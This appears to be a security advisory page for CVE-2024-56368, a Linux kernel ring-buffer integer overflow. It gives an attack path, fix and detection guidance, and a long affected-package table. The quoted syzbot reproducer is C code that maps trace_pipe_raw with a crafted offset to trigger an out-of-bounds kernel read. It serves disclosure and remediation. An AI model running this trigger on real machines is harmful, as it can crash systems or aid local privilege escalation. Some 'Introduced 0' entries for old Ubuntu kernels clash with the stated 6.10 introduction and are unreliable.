CVE-2024-56368
NoneCVSS
—
EPSS
0.2%
Published
Jan 11, 2025
CISA due date
—
Cloudanix analysis
A bug in the Linux kernel's tracing system can let a local user crash the machine or possibly gain extra privileges by mapping memory in a certain way.
- Exploitation
- Local Privilege
- Attacker needs
- Local User
- Complexity
- Moderate
- Impact
- Data Exposure
- Component
- OS kernel
- Class
- Buffer Overflow
- Remediation
- Upgrade
- Effort
- Medium
- Patch risk
- Low
What it actually does
Integer overflow in __rb_map_vma allows slab-out-of-bounds read when computing nr_pages from nr_subbufs, subbuf_order and pgoff during ring buffer VMA mapping.
Why it matters to the business
Local users can trigger kernel memory corruption leading to crashes or potential privilege escalation on systems exposing trace ring buffers; high urgency due to public syzbot reproducer and widespread kernel exposure.
How an attack unfolds
An attacker opens a per-CPU trace_pipe_raw file, enables tracing, then calls mmap with an offset that triggers the unchecked arithmetic, causing the kernel to access invalid slab memory during VMA setup.
How to fix it
Update to a kernel containing the fix for CVE-2024-56368; apply the added bounds check before the nr_pages calculation in ring_buffer.c.
How to confirm the fix worked
Confirm the patch is present by inspecting kernel/trace/ring_buffer.c for the overflow guard before the left-shift arithmetic; re-run the provided syzbot reproducer to verify no KASAN report occurs.
Typical attack path
- Enable kernel tracing via buffer_size_kb
- Open /sys/kernel/tracing/per_cpu/cpu*/trace_pipe_raw
- Invoke mmap with crafted offset (e.g., page_size * 5)
- Trigger __rb_map_vma calculation that overflows
- Read or write beyond slab allocation bounds
How to detect it
Search kernel logs for KASAN slab-out-of-bounds reports mentioning __rb_map_vma or ring_buffer.c; inspect audit logs for unusual mmap calls against trace_pipe_raw files by unprivileged processes.
What your security team should do
- Prioritize kernel updates on all systems exposing /sys/kernel/tracing
- Restrict unprivileged access to tracefs and perf_event_paranoid settings
- Monitor for local privilege-escalation attempts via tracing interfaces
The record
In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Fix overflow in __rb_map_vma An overflow occurred when performing the following calculation: nr_pages = ((nr_subbufs + 1) << subbuf_order) - pgoff; Add a check before the calculation to avoid this problem. syzbot reported this as a slab-out-of-bounds in __rb_map_vma: BUG: KASAN: slab-out-of-bounds in __rb_map_vma+0x9ab/0xae0 kernel/trace/ring_buffer.c:7058 Read of size 8 at addr ffff8880767dd2b8 by task syz-executor187/5836 CPU: 0 UID: 0 PID: 5836 Comm: syz-executor187 Not tainted 6.13.0-rc2-syzkaller-00159-gf932fb9b4074 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 11/25/2024 Call Trace: <TASK> __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xc3/0x620 mm/kasan/report.c:489 kasan_report+0xd9/0x110 mm/kasan/report.c:602 __rb_map_vma+0x9ab/0xae0 kernel/trace/ring_buffer.c:7058 ring_buffer_map+0x56e/0x9b0 kernel/trace/ring_buffer.c:7138 tracing_buffers_mmap+0xa6/0x120 kernel/trace/trace.c:8482 call_mmap include/linux/fs.h:2183 [inline] mmap_file mm/internal.h:124 [inline] __mmap_new_file_vma mm/vma.c:2291 [inline] __mmap_new_vma mm/vma.c:2355 [inline] __mmap_region+0x1786/0x2670 mm/vma.c:2456 mmap_region+0x127/0x320 mm/mmap.c:1348 do_mmap+0xc00/0xfc0 mm/mmap.c:496 vm_mmap_pgoff+0x1ba/0x360 mm/util.c:580 ksys_mmap_pgoff+0x32c/0x5c0 mm/mmap.c:542 __do_sys_mmap arch/x86/kernel/sys_x86_64.c:89 [inline] __se_sys_mmap arch/x86/kernel/sys_x86_64.c:82 [inline] __x64_sys_mmap+0x125/0x190 arch/x86/kernel/sys_x86_64.c:82 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f The reproducer for this bug is: ------------------------8<------------------------- #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <asm/types.h> #include <sys/mman.h> int main(int argc, char **argv) { int page_size = getpagesize(); int fd; void *meta; system("echo 1 > /sys/kernel/tracing/buffer_size_kb"); fd = open("/sys/kernel/tracing/per_cpu/cpu0/trace_pipe_raw", O_RDONLY); meta = mmap(NULL, page_size, PROT_READ, MAP_SHARED, fd, page_size * 5); } ------------------------>8-------------------------
Affected packages
| Ecosystem | Package | Introduced | Fixed |
|---|---|---|---|
| Debian:13 | linux | 0 | No fix |
| Linux | Kernel | 6.10.0 | 6.12.7 |
| Ubuntu:16.04:LTS | linux-hwe-edge | 0 | No fix |
| Ubuntu:18.04:LTS | linux-aws-5.0 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-aws-5.3 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-azure | 0 | No fix |
| Ubuntu:18.04:LTS | linux-azure-5.3 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-azure-edge | 0 | No fix |
| Ubuntu:18.04:LTS | linux-gcp | 0 | No fix |
| Ubuntu:18.04:LTS | linux-gcp-5.3 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-gke-4.15 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-gke-5.4 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-gkeop-5.4 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-hwe | 0 | No fix |
| Ubuntu:18.04:LTS | linux-hwe-edge | 0 | No fix |
| Ubuntu:18.04:LTS | linux-oem | 0 | No fix |
| Ubuntu:18.04:LTS | linux-oracle-5.0 | 0 | No fix |
| Ubuntu:18.04:LTS | linux-oracle-5.3 | 0 | No fix |
| Ubuntu:20.04:LTS | linux | 0 | No fix |
| Ubuntu:20.04:LTS | linux-aws | 0 | No fix |
| Ubuntu:20.04:LTS | linux-aws-5.11 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-aws-5.13 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-aws-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-aws-5.8 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-azure | 0 | No fix |
| Ubuntu:20.04:LTS | linux-azure-5.11 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-azure-5.13 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-azure-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-azure-5.8 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-azure-fde | 0 | No fix |
| Ubuntu:20.04:LTS | linux-azure-fde-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-bluefield | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gcp | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gcp-5.11 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gcp-5.13 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gcp-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gcp-5.8 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gke | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gke-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gkeop | 0 | No fix |
| Ubuntu:20.04:LTS | linux-gkeop-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-hwe-5.11 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-hwe-5.13 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-hwe-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-hwe-5.8 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-ibm | 0 | No fix |
| Ubuntu:20.04:LTS | linux-ibm-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-intel-5.13 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-intel-iotg-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-iot | 0 | No fix |
| Ubuntu:20.04:LTS | linux-kvm | 0 | No fix |
| Ubuntu:20.04:LTS | linux-lowlatency-hwe-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oem-5.10 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oem-5.13 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oem-5.14 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oem-5.6 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oracle | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oracle-5.11 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oracle-5.13 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oracle-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-oracle-5.8 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-raspi | 0 | No fix |
| Ubuntu:20.04:LTS | linux-raspi2 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-riscv | 0 | No fix |
| Ubuntu:20.04:LTS | linux-riscv-5.11 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-riscv-5.15 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-riscv-5.8 | 0 | No fix |
| Ubuntu:20.04:LTS | linux-xilinx-zynqmp | 0 | No fix |
| Ubuntu:22.04:LTS | linux | 0 | No fix |
| Ubuntu:22.04:LTS | linux-allwinner-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-aws | 0 | No fix |
| Ubuntu:22.04:LTS | linux-aws-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-aws-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-aws-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-aws-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-fde | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-fde-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-fde-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-azure-fde-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-gcp | 0 | No fix |
| Ubuntu:22.04:LTS | linux-gcp-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-gcp-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-gcp-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-gcp-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-gke | 0 | No fix |
| Ubuntu:22.04:LTS | linux-gkeop | 0 | No fix |
| Ubuntu:22.04:LTS | linux-hwe-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-hwe-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-hwe-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-hwe-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-ibm | 0 | No fix |
| Ubuntu:22.04:LTS | linux-ibm-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-intel-iot-realtime | 0 | No fix |
| Ubuntu:22.04:LTS | linux-intel-iotg | 0 | No fix |
| Ubuntu:22.04:LTS | linux-kvm | 0 | No fix |
| Ubuntu:22.04:LTS | linux-lowlatency | 0 | No fix |
| Ubuntu:22.04:LTS | linux-lowlatency-hwe-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-lowlatency-hwe-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-lowlatency-hwe-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-lowlatency-hwe-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-nvidia | 0 | No fix |
| Ubuntu:22.04:LTS | linux-nvidia-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-nvidia-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-nvidia-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-nvidia-tegra | 0 | No fix |
| Ubuntu:22.04:LTS | linux-nvidia-tegra-igx | 0 | No fix |
| Ubuntu:22.04:LTS | linux-oem-5.17 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-oem-6.0 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-oem-6.1 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-oem-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-oracle | 0 | No fix |
| Ubuntu:22.04:LTS | linux-oracle-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-oracle-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-raspi | 0 | No fix |
| Ubuntu:22.04:LTS | linux-realtime | 0 | No fix |
| Ubuntu:22.04:LTS | linux-riscv | 0 | No fix |
| Ubuntu:22.04:LTS | linux-riscv-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-riscv-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-riscv-6.8 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-starfive-5.19 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-starfive-6.2 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-starfive-6.5 | 0 | No fix |
| Ubuntu:22.04:LTS | linux-xilinx-zynqmp | 0 | No fix |
| Ubuntu:22.04:LTS:for:NVIDIA:BlueField | linux-bluefield | 0 | No fix |
| Ubuntu:24.04:LTS | linux | 0 | No fix |
| Ubuntu:24.04:LTS | linux-aws | 0 | No fix |
| Ubuntu:24.04:LTS | linux-azure | 0 | No fix |
| Ubuntu:24.04:LTS | linux-azure-6.11 | 0 | 6.11.0-1012.12~24.04.1 |
| Ubuntu:24.04:LTS | linux-azure-fde | 0 | No fix |
| Ubuntu:24.04:LTS | linux-azure-nvidia | 0 | No fix |
| Ubuntu:24.04:LTS | linux-gcp | 0 | No fix |
| Ubuntu:24.04:LTS | linux-gcp-6.11 | 0 | 6.11.0-1011.11~24.04.1 |
| Ubuntu:24.04:LTS | linux-gke | 0 | No fix |
| Ubuntu:24.04:LTS | linux-gkeop | 0 | No fix |
| Ubuntu:24.04:LTS | linux-hwe-6.11 | 0 | 6.11.0-21.21~24.04.1 |
| Ubuntu:24.04:LTS | linux-ibm | 0 | No fix |
| Ubuntu:24.04:LTS | linux-intel | 0 | No fix |
| Ubuntu:24.04:LTS | linux-lowlatency | 0 | No fix |
| Ubuntu:24.04:LTS | linux-nvidia | 0 | No fix |
| Ubuntu:24.04:LTS | linux-nvidia-6.11 | 0 | 6.11.0-1007.7 |
| Ubuntu:24.04:LTS | linux-nvidia-lowlatency | 0 | No fix |
| Ubuntu:24.04:LTS | linux-nvidia-tegra | 0 | No fix |
| Ubuntu:24.04:LTS | linux-oem-6.11 | 0 | No fix |
| Ubuntu:24.04:LTS | linux-oem-6.11 | 0 | 6.11.0-1017.17 |
| Ubuntu:24.04:LTS | linux-oem-6.8 | 0 | No fix |
| Ubuntu:24.04:LTS | linux-oracle | 0 | No fix |
| Ubuntu:24.04:LTS | linux-raspi | 0 | No fix |
| Ubuntu:24.04:LTS | linux-raspi-realtime | 0 | No fix |
| Ubuntu:24.04:LTS | linux-realtime | 0 | No fix |
| Ubuntu:24.04:LTS | linux-riscv | 0 | No fix |
| Ubuntu:24.04:LTS | linux-xilinx | 0 | No fix |
| Ubuntu:24.10 | linux | 0 | No fix |
| Ubuntu:24.10 | linux-aws | 0 | No fix |
| Ubuntu:24.10 | linux-azure | 0 | No fix |
| Ubuntu:24.10 | linux-gcp | 0 | No fix |
| Ubuntu:24.10 | linux-lowlatency | 0 | No fix |
| Ubuntu:24.10 | linux-lowlatency | 0 | 6.11.0-1011.12 |
| Ubuntu:24.10 | linux-oracle | 0 | No fix |
| Ubuntu:24.10 | linux-raspi | 0 | No fix |
| Ubuntu:24.10 | linux-raspi | 0 | 6.11.0-1010.10 |
| Ubuntu:24.10 | linux-realtime | 0 | No fix |
| Ubuntu:24.10 | linux-riscv | 0 | No fix |
| Ubuntu:25.04 | linux-azure-fde | 0 | No fix |
| Ubuntu:Nvidia-BlueField:22.04:LTS | linux-bluefield | 0 | No fix |
| Ubuntu:Pro:14.04:LTS | linux | 0 | No fix |
| Ubuntu:Pro:14.04:LTS | linux-aws | 0 | No fix |
| Ubuntu:Pro:14.04:LTS | linux-azure | 0 | No fix |
| Ubuntu:Pro:14.04:LTS | linux-lts-xenial | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-aws | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-aws-hwe | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-azure | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-gcp | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-hwe | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-hwe-edge | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-kvm | 0 | No fix |
| Ubuntu:Pro:16.04:LTS | linux-oracle | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-aws | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-aws-5.0 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-aws-5.3 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-aws-5.4 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-azure | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-azure-4.15 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-azure-5.3 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-azure-5.4 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-azure-edge | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-gcp | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-gcp-4.15 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-gcp-5.3 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-gcp-5.4 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-gke-4.15 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-gke-5.4 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-gkeop-5.4 | 0 | No fix |
| Ubuntu:Pro:18.04:LTS | linux-hwe | 0 | No fix |
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